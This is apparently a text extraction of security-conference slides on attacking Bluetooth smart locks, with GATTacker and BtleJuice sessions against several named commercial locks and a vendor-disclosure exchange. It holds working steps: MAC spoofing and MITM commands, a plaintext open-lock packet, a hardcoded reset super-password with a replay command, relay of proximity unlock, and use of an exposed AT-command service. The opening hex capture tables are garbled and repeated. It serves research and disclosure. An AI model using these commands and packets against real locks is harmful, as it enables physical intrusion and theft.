write         fff0         fff3         02         68         61         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00	Action	Service	Characteristic	Data	
read       180f       2a19       37         write       1805       2a2b       38 37 a 1 f         read       ff0       ff3       02 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00	write	fff0	fff3	02 68 61 00 00 00 00 00 00 00 00 00	00 00 00
write       1805       2a2b       38 37 a 1 f         read       fff0       fff3       02 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00	read	180f	2a19	37	
read       fff0       fff3       02 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00	write	1805	2a2b	38 37 aa 1f	
write       ffd0       ffd6       00 12 34 56 78 00 00 00 00       00         notification       ffd0       ffd7       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01       01	read	fff0	fff3	02 68 61 00 00 00 00 00 00 00 00 00	00 00 00
notificationffd0ffd701read180a2a2605 29 01 01 20 15 04 28 20 34readffd0ffd803notificationffd0ffda00readffd0ffda00readffd0ffda00writeffd0ffd901notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01notificationffd0ffda00notificationffd0ffda01	write	ffd0	ffd6	00 12 34 56 78 00 00 00 00	
read180a2a2605 29 1 01 20 15 04 28 20 34readffd0ffd803notificationffd0ffda00readffd0ffda00writeffd0ffd901notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01	notification	ffd0	ffd7	01	
readffd0ffd803notificationffd0ffda00readffd0ffda00writeffd0ffd901notificationffd0ffda01notificationffd0ffda01notificationffd0ffda01notificationffd0ffda00notificationffd0ffda00notificationffd0ffda00	read	180a	2a26	05 29 01 01 20 15 04 28 20 34	
notificationffd0ffda00readffd0ffda00writeffd0ffd901notificationffd0ffda01notificationffd0ffda01notificationffd0ffda00notificationffd0ffda00	read	ffd0	ffd8	03	
readffd0ffda00writeffd0ffd901notificationffd0ffda01notificationffd0ffda00ffd0ffda00The cleartext passwor	notification	ffd0	ffda	00	
writeffd0ffd901notificationffd0ffda01notificationffd0ffda00The cleartext passwore	read	ffd0	ffda	00	
notificationffd0ffda01notificationffd0ffda00The cleartext passwore	write	ffd0	ffd9	01	
notification ffd0 ffda 00 The cleartext passwore	notification	ffd0	ffda	01	
	notification	ffd0	ffda	00 The clearte	xt passwor





### **BtleJuice vs GATTacker**

- Depends on stock noble/bleno several pros vs cons
- Automatic MAC address spoofing currently unstable
- Has much better UI (web vs console), simple replay/tamper
- Just try the other tool if something does not work for you





#### How do we hack BLE?

#### Passive sniffing

Using simple hw is unreliable, easy to loose packets.

Difficult to understand transmission in Wireshark.

- Limited scripting decode pcap, replay packets.
- Can be helpful to diagnose what is happening on link-layer (e.g. Bluetooth encryption)
  - Does not require access to device nor smartphone

Limited possibilities to decode encrypted connections (intercept pairing + CrackLE).

#### Android HCI dump

Catches all the packets (of our transmission)

Difficult to understand
 transmission in Wireshark

Limited scripting – decode pcap, replay packets.

 Does not cover link-layer. Only data
 exchanged between Android and BT adapter

Requires access to smartphone

Even if the connection is encrypted, we have the packets in cleartext (de-/encrypted by adapter)

#### Active MITM

- Catches all the packets (+ allows for active modification)
- Easy to understand transmission (GATTacker console, BtleJuice web)
- Hooks, possible to proxy, API for live packets tampering...
- Does not cover link-layer. Not that we actually need it ;)
- Does not require access to device nor smartphone
- Will not work (out of box) against link-layer Bluetooth encryption





## Quicklock hack is brought to you by Antony Rose

#### >>> Vulnerable Devices

- * Plain Text Password
  - Quicklock Doorlock & Padlock v1.5 🗏 🔒
  - iBluLock Padlock v1.9 🧕
  - Plantraco Phantomlock v1.6 🔒
- * Replay Attack
  - Ceomate Bluetooth Smart Doorlock v2.0.1
  - Elecycle EL797 & EL797G Smart Padlock v1.8 🧕
  - Vians Bluetooth Smart Doorlock v1.1.1
  - Lagute Sciener Smart Doorlock v3.3.0





[15/44]





#### Manufacturer's statement

The electronic codes necessary to open are passed wirelessly and are unencrypted (by design) to allow vendors flexibility when integrating the bluetooth device into existing platforms. Because keys are passed wirelessly, they are open to Bluetooth hacking only for a few seconds, when a hacker is within range of the device. However, this level of security is similar to a standard lock and key scenario! Standard mechanical devices offer far fewer benefits than Bluetooth connected locks!

https://www.thequicklock.com/security-notice.php



#### SMARTLOCKPICKING.COM



# Lock #2







### Anti-theft protection

Mobile application "pairs" with device, and listens to its advertisements.

In case the luggage is stolen (no signal from device), mobile app raises alarm.

Mobile app: "witbelt"









#### ws-slave, scan







#### Scan for advertisements

```
root@kali:~# cd node_modules/gattacker
root@kali:~/node_modules/gattacker# node ws-slave.js
GATTacker ws-slave
```

```
root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 127.0.0.1
on open
poweredOn
Start scanning.
```




#### Scan results

peripheral discovered (d03972b7ad8f with address
<d0:39:72:b7:ad:8f, public>, connectable true, RSSI -69:

Name: WiT Belt

EIR: 020106070203180218041809ff8fadb77239d01000 ( r9

Scan response: 09095769542042656c74 ( WiT Belt)

advertisement saved: devices/d03972b7ad8f_WiT-Belt.adv.json





#### **Scan services**

root@kali:~/node modules/gattacker# node scan.js d03972b7ad8f Ws-slave address: 127.0.0.1 on open poweredOn Start exploring d03972b7ad8f Start to explore d03972b7ad8f explore state: d03972b7ad8f : start explore state: d03972b7ad8f : finished Services file devices/d03972b7ad8f.srv.json saved!





# Add static hooks in services file (already in files/)

```
"characteristics": [
        "uuid": "2a19",
        "name": "Battery Level",
        "properties": [
          "read",
          "notify"
        .
        "value": "54",
         "hooks":{
          "staticValue" : "54"
```





Change interface MAC address (by hand, script wrapper does not handle yet static parameters)

# bdaddr -i hci0 d0:39:72:b7:ad:8f Manufacturer: Cambridge Silicon Radio (10) Device address: F1:A3:12:0D:25:FD New BD address: D0:39:72:B7:AD:8F (Texas Instruments)

Address changed - Reset device now # hciconfig hci0 up





# Start advertising (static run)

#### # node advertise -S -a devices/d03972b7ad8f_WiT-Belt.adv.json -s devices/d03972b7ad8f.srv.json





### App connects to emulated device, alarm disables!

static run write not defined in hooks undefined -> undefined peripheralid: d03972b7ad8f advertisement file: devices/d03972b7ad8f WiT-Belt.adv.json EIR: 020106070203180218041809ff8fadb77239d01000 scanResponse: 09095769542042656c74 waiting for interface to initialize... BLENO - on -> stateChange: poweredOn on -> advertisingStart: success setServices: success Client connected: 57:d7:99:99:df:49 >> Write: 1802 (Immediate Alert) -> 2a06 (Alert Level ) : 📴 ( ) static run write not defined in hooks 1802 (Immediate Alert) -> 2a06 (Alert Level ) << Read static val 180f (Battery Service) -> 2a19 (Battery Level ) : <mark>54</mark> (T) >> Subscribe: 180f (Battery Service) -> 2a19 (Battery Level ) static run subscribe 180f (Battery Service) -> 2a19 (Battery Level ) >> Write: 1802 (Immediate Alert) -> 2a06 (Alert Level ) : 📴 ( ) static run write not defined in hooks 1802 (Immediate Alert) -> 2a06 (Alert Level ) Client disconnected: 57:d7:99:99:df:49





# Lock #3



https://www.flickr.com/photos/morbius19/9411737596











#### Scan for the lock

```
root@kali:~/node_modules/gattacker# node scan.js
```

```
Ws-slave address: 10.5.5.129
```

on open

```
poweredOn
```

Start scanning.

```
peripheral discovered (f0c77f162e8b with address <f0:c7:7f:16:2e:8b, public>, connectable true,
RSSI -63:
```

```
        Name:
        Smartlock

        EIR:
        0201060302e0ff (
        )

        Scan response:
        0e09536d6172746c6f636b202020051228003c00020a00 (
        Smartlock (<</td>
        )
```

advertisement saved: devices/f0c77f162e8b_Smartlock-.adv.json





## Save its services for cloning

root@kali:~/node modules/gattacker# node scan.js f0c77f162e8b Ws-slave address: 10.5.5.129 on open poweredOn Start exploring f0c77f162e8b Start to explore f0c77f162e8b explore state: f0c77f162e8b : start explore state: f0c77f162e8b : finished Services file devices/f0c77f162e8b.srv.json saved!





### **Run MITM attack**

root@kali:~/node modules/gattacker# ./mac_adv -a devices/f0c77f162e8b_Smartlock-.adv.json Advertise with cloned MAC address Ws-slave address: 10.5.5.129 peripheralid: f0c77f162e8b advertisement file: devices/f0c77f162e8b Smartlock-.adv.json FTR: 0201060302e0ff scanResponse: 0e09536d6172746c6f636b202020051228003c00020a00 on open poweredOn BLENO - on -> stateChange: poweredOn Noble MAC address : b8:27:eb:4c:88:3d initialized ! Static - start advertising on -> advertisingStart: success setServices: success 



















#### Next time - something different

Write:	ffe0	aes	fffl	o,r	a137343136383905789a247b1a2f094f215f21 ( 7	741689	x \${ /	0!_!)	
f0c77f1	62e8b:	186	91 cor	nfi	rmed subscription state: 2a05				
Read:	ffe0	->	fff1		a20500f0c77f162e8b31cf3c5bf4e6f06a3763		1 <[	j7c)	
Write:	ffe0	->	fff1	, in the second	a137343136383909badcfdd885c3bcca04cef1d6	74168	9		Ŋ
-	Contra Line		- C C C A						





#### Authentication



#### Initial (random?) value

#### Response, based on init

#### Auth (based on response)?







# **Replay!**





#### Initial (random?) value

#### Response, based on init

#### Auth (based on response)?







# **Replay by Anthony Rose**

#### >>> Replay Attacks

- * Claim "encryption" is being used
- * Who cares what they are sending as long as it opens!
- * Vulnerable Devices
  - Ceomate Bluetooth Smartlock
  - Elecycle Smart Padlock
  - Vians Bluetooth Smart Doorlock
  - Lagute Sciener Smart Doorlock



[24/44]







#### Let's continue where he stopped!





# MOBILE APP ANALYSIS





## Android mobile application reversing quick recap







# How to get apk file

- Multiple online services (check the signature, as they may add something ;)
- From your phone (developer options, adb pull...)





# Convert APK (devices/smartlock/apk/) to JAR

#### root@kali:~ # d2j-dex2jar <file>.apk

As a result we get:

<file>-dex2jar.jar





# Open jar file in jd-gui







# Let's try to use it as password!

#### Nope, does not work...

>> Write:	ffe0 -> fff1	:	a137343136383905789a166c1d053237460b06 ( 741689 x l 27F )
<< Read:	ffe0 -> fff1	:	a20500f0c77f162e8b50219af8918493a45751 ( . P! WQ)
>> Write:	ffe0 -> fff1	:	a1373431363839098262c566bd7d84743c70c968 ( 741689 b f } t <p h)<="" td=""></p>
<< Read:	ffe0 -> fff1	:	a20900 ( )
>> Write:	ffe0 -> fff1	:	a137343136383906 ( 741689 )
<< Read:	ffe0 -> fff1	:	a20900 ( )





## Packets - RequestLockInfo

#### 

둷 MsaReceiverLock.class 둾 MsaReceiverLockInfo.class  $(\pm)$ [+]b MsgReceiverModifyName.class MsgReceiverModifyPassword_class  $(\pm)$ 🐻 MsaReceiverOpenLock.class  $(\pm)$  $(\pm)$ 脑 MsgReceiverVerify class 둷 MsgReceiverVerifv2.class  $\left[+\right]$  $(\pm)$ 脑 MsgReceiverVibrate.class 脑 MsgReguestAutoLock.class 脑 MsgReguestLock.class [+]<u> MsqRequestLockInfo.class</u> 脑 MsgReguestModifyName.class [+]MsgReguestModifyPassword.class MsgReguestOpenLock.class (+)MsgReguestResetPassword.class

```
public class MsgRequestLockInfo
    extends CommMessage
{
    public static final int MSG_CMD = 6;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;
    public MsgRequestLockInfo()
    {
        this.mStreamId = 161;
        this.mCmdId = 6;
    }
```

public void receiverData(byte[] paramArrayOfByte) {}





### **Command packet structure**



header

Hex-encoded pass (123456)

 $MSG_STX = 161;$ 

command

 $MSG_CMD = 6;$ 





# Open lock

#### >> Write: ffe0 -> fff1 : <mark>a1313233343536</mark>01 ( 123456 ) << Read: ffe0 -> fff1 : <mark>a20100</mark> ( )

MsgReceiverLockInto.class [+]MsgReceiverModifyName.class [+] $\Theta$ MsgReceiverModifyPassword.class MsgReceiverOpenLock.class  $(\pm)$ 🛅 MsgReceiverVerify class  $(\pm)$ MsgReceiverVerify2.class [+]脑 MsgReceiverVibrate.class 脑 MsgReguestAutoLock.class [+] $\Theta$ [+]MsgReguestLock.class MsgReguestLockInfo.class  $(\pm)$ MsgReguestModifyName.class  $[\pm]$ MsgReguestModifyPassword.class  $[\pm]$ 🛍 MsgReguestOpenLock.class  $\left[+\right]$ 脑 MsgRequestResetPassword.class [+]

```
public class MsgRequestOpenLock
    extends CommMessage
{
    public static final int MSG_CMD = 1;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;
    public MsgRequestOpenLock()
    {
        this.mStreamId = 161;
        this.mCmdId = 1;
    }
```

public void receiverData(byte[] paramArrayOfByte) {}





## Other commands – ResetPassword?







## Reset pass packet

# a137343136383908

SuperPassword (741689)

command





### Reset password – edit dump file

```
2017.03.29 14:19:30.578 | < C | ffe0 | fff1 | a137343136383905789a230b157b365652761f ( 741689 x # {6VRv )
2017.03.29 14:19:31.671 | > R | ffe0 | fff1 | a20500f0c77f162e8b3612307232dafb33f51f ( . 6 0r2 3 )
2017.03.29 14:19:31.928 | < C | ffe0 | fff1 | a13734313638390948c30fc777dc4ed5f6d103c9 ( 741689 H w N
2017.03.29 14:19:32.834 | > R | ffe0 | fff1 | a20900 ( )
2017.03.29 14:19:33.480 | < C | ffe0 | fff1 | a137343136383908
```

#### Already edited files:

ble/smartlock/gattacker/dump/





### Replay the reset pass

```
root@kali # node replay.js -i dump/f0c77f162e8b resetpass.log -p
f0c77f162e8b -s devices/f0c77f162e8b.srv.json
Ws-slave address: <your raspberry ip>
on open
poweredOn
Noble MAC address : b8:27:eb:f2:c1:05
initialized !
WRITE CMD: a137343136383905789a230b157b365652761f
READ: a20500f0c77f162e8b3612307232dafb33f51f --- skip
WRITE CMD: a13734313638390948c30fc777dc4ed5f6d103c9
READ: a20900 --- skip
WRITE CMD: a137343136383908
^C
```





#### * 🖨 🔻 🖹 🛈 12:37

Scan

**User gets CANCER!** 



**Device List** 





# Replay: convert GATTacker log to nRF XML macro

# node gattacker2nrf -i dump/f0c77f162e8b_resetpass.log >
resetpass.xml

Already converted file:

smartlock/nrf_connect_macro/f0c77f162e8b_resetpass_nrf.xml





* 🔍 🔳 10:20	¥ ♥⊿ 🗎 10:21	* 👻⊿ 🗎 10:40	* ⊽⊿ 🗎 10:42
	■ Devices CONNECT :		
ER BONDED ADVERTISER SMARTLOCK			
DISCONNECTED NOT BONDED CLIENT SERVER	DISCONNECTED CLIENT SERVER	DISCONNECTED NOT BONDED CLIENT SERVER	CONNECTED CLIENT SERVER
Generic Access UUID: 0x1800 PRIMARY SERVICE			
Generic Attribute UUID: 0x1801 PRIMARY SERVICE			
Device Information UUID: 0x180A PRIMARY SERVICE	Device Information UUID: 0x180A PRIMARY SERVICE	Device Information UUID: 0x180A PRIMARY SERVICE	Device Information Macros
Unknown Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	Unknown Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	Unknown Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	gattacker replay
		Macros	<ul> <li>gattacker write replay</li> <li>gattacker write replay</li> <li>gattacker write replay</li> <li>gattacker write replay</li> </ul>
	Macros	gattacker replay	<ul> <li>gattacker read replay</li> <li>gattacker write replay</li> </ul>
Wireless by Nordic	Tutorial 4 items	Tutorial 5 items	Tutorial 5 items





### Contact with vendor

Hello, I have identified several security vulnerabilities in your smart lock and accompanying mobile application.

1. It is possible to reset password to default without knowing current the password. I would classify it as critical bug, as it allows to open the lock by an intruder which just comes close to the lock, without any interaction with the victim user.





#### Response...

Nice day and thank you so much for your email.

We had update our APP and patched some bugs.

Sure will keep improving our product.

Thanks again for your help.




# Hi again,

The current (updated in November 2016) app is vulnerable it is possible to open the lock without knowing the password.

You need to change the Bluetooth protocol, it is a major patch, and requires also firmware upgrade of the devices, not just the mobile application.





...?

#### Thank you so much for your suggestions.

# Yes, we are working on the devices and software. In the near future, both of the hardware and software will be updated.





#### ... and the Google Play app developer contact ;)

Response after almost 3 months (original transcription):

"sorry, It is not bought from our company. so we can not help you. thanks"





# Maybe we should help the users?





#### SMARTLOCKPICKING.COM



# Lock #4







#### MasterLock

# Authentication: challenge-response, looks good.







**Proximity - open automatically** 

The mobile application service in background automatically opens the lock.

It is possible to "proxy" the proximity.





#### **Remote relay**



Figure 3. The relay with antennas, cables and an (optional) amplifier.

Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars http://eprint.iacr.org/2010/332.pdf





#### **Keyless car entry**

# ADAC proved over 100 models vulnerable (2017.03)

https://www.adac.de/infotestrat/technik-undzubehoer/fahrerassistenzsysteme/keyless/default.aspx

#### - Weiterhin Sicherheitslücke bei Komfortschlüsseln -

#### Autos mit Keyless leichter zu klauen



Autos mit dem Komfort-Schließsystem "Keyless" sind deutlich leichter zu stehlen als Fahrzeuge mit normalem Funkschlüssel. Das zeigt eine Untersuchung des ADAC an über 100 Modellen. Mit einer selbst gebauten Funk-Verlängerung konnten alle bisher untersuchten, mit Keyless ausgestatteten Autos sekundenschnell geöffnet und weggefahren werden. Das hinterließ keine sichtbaren Spuren.





#### Scan for the device

#### root@kali:~/node_modules/gattacker# node scan

peripheral discovered (544a165d6f41 with address <54:4a:16:5d:6f:41, public>, connectable true, RSSI -80:

Name: Master Lock

EIR: 0201051107fb6db3e637446f84e4115b5d0100e094 ( m 7Do [] )

Scan response: 0c094d6173746572204c6f636b11ff4b019b8f0000b0e23d240000c12e2556 ( Master Lock K
=\$ .%V)

advertisement saved: devices/544a165d6f41_Master-Lock.adv.json





### **Actively intercept**

#### # ./mac_adv -a devices/544a165d6f41_Master-Lock.adv.json





## Actively intercept

Address changed - Reset device now Re-plug the interface and hit enter

urrent MAC: 54:4A:16:5D:6F:41 s-slave address: 10.5.5.2 eripheralid: 544a165d6f41 dvertisement file: devices/544a165d6f41_Master-Lock.adv.json IR: 0201051107fb6db3e637446f84e4115b5d0100e094 canResponse: 0c094d6173746572204c6f636b11ff4b019b8f0000b0e23d240000c12e2556 n open oweredOn oble MAC address : b8:27:eb:08:88:0e LENO - on -> stateChange: poweredOn	
nitialized !	
tatic - start advertising	
n -> advertisingstart: success	
etServices: success	
<<<<<<< r>	
Lient connected: 71:ce:75:7f:a5:d9	
> Subscribe: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb	
544a165d6f41:94e000015d5b11e4846f4437e6b36dfb confirmed subscription state: 94e000025d5b11e4846f4437e6b36dfb	
<pre>&gt; Write: 94e000015d5b11e4846f4437e6b36dfb -&gt; 94e000025d5b11e4846f4437e6b36dfb : 00807bbf73f61200364dcd08011011fdb5a21cc925dfb7ea4a27d079281</pre>	eaf919ff
f4ff769e8e1ef6d7524e8391776cbbce1215bf3382f0b8b44281d6ca10301e403fb8b832d ( { s 6M % J'y( ?0 i mu\$ 9 v ![ 8/ D( l	-)
< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb : 00000000000e9d00001e7bb2af092a6bfc061 ( * a)	
> Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb : <mark>01000216c31e3a8db658ac1351</mark> (	
< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb : <mark>0000020663cd79bbdbb4750c84</mark> (	
> Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb : 01000207ff00f8ecbd30a68457 ( 0 W)	
< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb : 000001b3215e48dd29b65b46 ( !^H ) [F)	
> Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb : <mark>0100021479996895373895d66a</mark> (	





#### Now try remotely

The "victim" phone is away of lock's Bluetooth range Put Raspberry close to the lock. Go with Kali (connected via wifi to Raspberry) close to the "victim".





#### More secure – "locker" mode







UX

SECURITY

## Security vs usability

#### Automatic open

#### Geolocalization

#### Swipe/touch to unlock

Special "locked" mode





#### Other ideas to prevent attack?

#### Detect latency – similar to EMV?

#### Once connected, BT communication is quite quick.





# AND NOW FOR SOMETHING COMPLETELY DIFFERENT





#### Strong magnet trick!



motor





#### Source:

#### Ray & co.

#### https://streaming.media.ccc.de/33c3/relive/8019



#### SMARTLOCKPICKING.COM





Lock #5

https://www.flickr.com/photos/morbius19/9417893923





#### Danalock

Challenge-response, session key

Commands encrypted by session key



Challenge looks random

Ranging: GPS-enabled, you have to leave the area and return

What could possibly go wrong?





### Lock - protocol





#### SMARTLOCKPICKING.COM







#### SMARTLOCKPICKING.COM









#### Attack - the simple, stupid version







#### **Record advertisements**

The lock advertises 2 states: latched/unlatched

Record both the advertisements (scan.js). Scan saves advertisements versions in:

devices/ecfe7e139f95_Lock(...).<DATE>.adv.json

Move to: ecfe7e139f95_LockECFE7E139F95.<**closed|open>**.adv.json





#### Scan services to json

#### \$ node scan ecfe7e139f95

(...)

#### Services file devices/ecfe7e139f95.srv.json saved!





# Change MAC address (by hand)

#### # bdaddr -i hci0 ec:fe:7e:13:9f:95





#### Advertise "latched" state

# node advertise.js -S -a
devices/ecfe7e139f95_closed.adv.json -s
devices/ecfe7e139f95.srv.json





#### BTW

My collegue pentester has managed to lock the lock by pressing the button long enough ;)







#### How excessive security may tamper availability ;)



... and it took 5 days for the support to reply, another days to resolve the issue

Note: be careful with buying used ones ;)



#### SMARTLOCKPICKING.COM







#### SMARTLOCKPICKING.COM



#### BTW





iOS users, please hold off on upgrading to iOS 9. We are waiting for our compatible app to be approved by the App Store. Any hour/day now.

9/15/15, 7:20 PM





## Update gone wrong...

#### Update gone wrong leaves 500 smart locks inoperable

Fatal error leaves customers scrambling for fixes that can take a week or longer.

DAN GOODIN - 8/15/2017, 12:07 AM



https://arstechnica.com/information-technology/2017/08/500-smart-locks-arent-so-smart-anymore-thanks-to-botched-update/





# Tesla driver stranded in the desert after smartphone app failure





"Need to restart the car now, but, with no cell service, my phone can't connect to the car to unlock it."

Had to run two miles to find signal and call a friend to bring the key fob

http://www.telegraph.co.uk/technology/2017/01/16/tesla-driver-stranded-desert-smartphone-app-failure/





# No more Keys!




# **EXCESSIVE SERVICES**





#### How do we hack BLE?







### And the lock again...

It has an interesting feature:

BLE module vendor implements serial AT commands directly exposed on a service...

Anyone can connect to it, by default it is not locked.







#### AT commands reference

https://github.com/ideo-digital-shop/blearduino/tree/master/documentation/docs

#### Files:

doc/BlueRadiosAT/nBlue AT.s Command Set v3.1.0.pdf





#### Reset

- 7.2 Reset Commands
- 7.2.1 Reset (ATRST)

#### SD RESET

Function: Resets the module.

```
Command Format: ATRST
```

```
Example(s):
```

An ATRST is sent and once the module has reset, the RESET event is triggered.

```
COMMAND: ATRST<cr>
RESPONSE: <cr_lf>
BR-LE4.0-S2<cr_lf>
```





#### Get temperature

#### SM GET TEMPERATURE

Function: Get the current temperature of the module's internal temperature sensor.

Command Format: ATT?

Response Format: <Temp_Celsius>,<Temp_Fahrenheit>

#### Response Value(s):

- Temp_Celsius: Temperature in Celsius.
- Temp_Fahrenheit: Temperature in Fahrenheit.

#### Example(s):

```
COMMAND: ATT?<cr>
RESPONSE: <cr_1f>
OK
<cr_1f>
026,079<cr_1f>
```





#### 7.8.2 UART Configuration (ATSUART)

#### SD SET UART

Function: Configures the module's UART. This command requires a reset for the new settings to take effect.

Command Format: ATSUART,<Baud_Rate>,<Parity>,<Stop_Bits>,<Flow_Control>

Command Parameter(s):

 Baud_Rate: 3-10 [9600bps – 1000000bps], enter Value from table below. (230400, 460800 and 1000000 are only available on Dual Mode modules.)

Baud rate	Value	Error (%)
9600	3	0.14
19200	4	0.14
38400	5	0.14
57600	6	0.03
115200	7	0.03
230400	8	0.03
460800	9	0.03
1000000	10	0.03





### Can you fry it? (please don't try ;)

#### 7.8.3 PIO Configuration (ATSPIO)

#### SD SET PIO

Warning: Applying an external voltage to a PIO assigned as an output may permanently damage the module. The maximum voltage level on any pin should not exceed 3.6V. The I/O is NOT 5V tolerant.

Function: Sets the direction and values of PIO's.

Command Format: ATSPIO,<PIO_Num>,<Direction>,<Value>

#### Command Parameter(s):

PIO_Num:

Single Mode: 0,1,2,5,7,8,9,10,11,12,13,14 Dual Mode: 0,1,2,5,7,8,9,10,11,12,13,14,19,20,21,22





#### The helper script

# scan.js automatically detects BlueRadios chipsets based on MAC address





#### The helper script

# root@kali:~/node_modules/gattacker# node standalone/blueRadiosCmd.js ecfe7e139f95

MAC address of target





root@kali:~/node modules/gattacker# node standalone/blueRadiosCmd.js ecfe7e139f95 WARNING: env2 was required to load an .env file: /root/node modules/config.env NOT FOUND! Please see: http://git.io/vG3UZ Ws-slave address: 127.0.0.1 start on open poweredOn explore state: ecfe7e139f95 : start explore state: ecfe7e139f95 : finished BlueRadios service UUID found! Initialized! Script automatically checks if service ATSCL? - check if the service is lo subscribe to RX notification unlocked (ATSCL?) Switch to CMD mode sent CMD: ATSCL? OK 0 ATT? Service unlocked, you can Switch to CMD mode sent CMD: ATT? OK write any AT command now 024,075



#### SMARTLOCKPICKING.COM



#### Lock #6



https://www.flickr.com/photos/morbius19/9420660072/





### Servers shut down recently ;)







### What would you do?







### Intercept traffic in web proxy

Burp Intruder Repeater Window Help														
Target	rget Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts													
Intercep	ntercept HTTP history WebSockets history Options													
Filter: Hiding CSS, image and general binary content														
Metho	d URL													
OLI	muer	x.pnp:pa	ye-actuau	ormstomany	-engiistiore	CONV-UNDOR	yswamaru	оскріскіну. со	moresowc	wu-buperbecreu	alsou-unea-	13003334	132034	
GET	/index	x.php?pa	ge=actuat	or/list⟨	english&L	.OGIN=okidoke	ys@smartl	ockpicking.co	m&PASSW0	RD=SuperSecret	‰json=true&_=	15063334	32895	
POST	/index	x.php?pa	ge=user/e	dit⟨=e	nglish&us=	2525652423	0164890&L	OGIN=okidok	eys@smartl	ockpicking.com&P	ASSWORD=Sup	erSecret	Sjson=true	
GET	/index	x.php?pa	ge=smarts	phone/login	⟨=engli		kidokeys@s	martlockpick	ing.com&PA	SSWORD=SuperS	ecret&nb keys	=0& =15	06333432896	
GET	/index	x.php?pa	ge-smarte	hone/login	&lang-engli	ish&LOGIN=o	kidokevs@s	martlockpick	ing.com&PA	SSWORD-SuperS	ecret&nb_kevs	-10& -1	506333432897	
GET	/index	x.php?pa	ge=user/li	st⟨=er	nalish&LOGI	N=okidokevs@	smartlock	oicking.com&	PASSWORD	-SuperSecret&iso	on=true& =150	63334328	98	
GET	/index	x.php?pa	ge=actuab	or/list&land	english&L	OGIN=okidoke	vs@smartl	ockpicking.co	m&PASSW0	RD=SuperSecret	Sison=true& =	15063334	32899	
GET	/index	x.php?pa	pe=actuat	or/list&land	=english&L	OGIN=okidoke	vs@smartl	ockpicking.co	m&PASSW0	RD=SuperSecret	Sison=true& =	15063334	32900	
GET	/inde	x php?pa	ge=smarte	hone/svnc	⟨=engli	ish&LOGIN=ol	cidokevs@s	martlockpicki	ng.com&PA	SSWORD=SuperS	ecret&DEVICE	JID= 252	56524230164894&type	-BIN
GET	/index	x php?pa	ge smarts	hone/sync	done⟨	=english&I 00	JIN=okidoke	ws@smartlo	knicking co	m&PASSWORD=S	uperSecret&DF	VICE UID:	- 25256524230164894	& =1
GET	/index	x php?pa	ge=smarts	phone/login	⟨=engli	ish&I OGIN=0	kidokevs@s	martlocknick	ing com&PA	SSWORD=SuperS	ecret&nh_kevs:	=0& =15	06333432903	
GET	linder	x php?pa	ge=smart	phone/login	⟨=engli	ish&LOGIN=n	kidokeys@s	martlockpick	ing.com&PA	SSWORD=SuperS	ecret&nb keys	=10& =1	506333432904	
GET	/index	v php?pa	ge=user/li	st&langer	alish&LOGI	N=okidokevs@	Semartlock	nicking com&	PASSWORD	=SuperSecret&ise	n=true& =150	63334320	05	
GET	Ander	v nhn7na	ne-actuati	or/list&land	-angligh&l	OGIN-okidoke	we @emartl	acknicking co	m&.DASSWC	10D=SuperSecret	Sigon-trues -	15063334	132906	•
GET	Ander	t.pnp:pa	ge-actuat	orgniscostany	-engristice		seesmanu	octopicking.co	1	no-supersected	ajson-dueac	1000000	52500	-

#### Request Response

Raw	Headers	Hex									
HTTP/1.1 200 OK											
Date: Mon, 25 Sep 2017 11:47:35 GMT											
Server: Apache/2.4.7 (Ubuntu)											
Expires	:: -1										
Cache-0	Control: n	o-caci	ъe,	must-re	validate						
Pragmaa:	no-cache										
X-Power	ed-By: Op	en₩ays									
Vary: A	ccept-Enc	oding									
Connect	ion: clos	•									
Content	-Type: te:	xt/hta	ol;	charset	: UTF-8						
Content	-Length:	237264	1								

